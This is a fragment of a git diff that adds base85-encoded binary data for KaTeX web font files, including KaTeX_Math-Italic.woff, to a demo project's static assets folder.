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 G#ECDig^RoZ literal 0 HcmV?d00001 diff --git a/demo/static/dist/assets/KaTeX_Math-Italic.woff b/demo/static/dist/assets/KaTeX_Math-Italic.woff new file mode 100644 index 0000000000000000000000000000000000000000..eb5159d4c1ca83fb92b3190223698427df0e010c GIT binary patch literal 18748 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 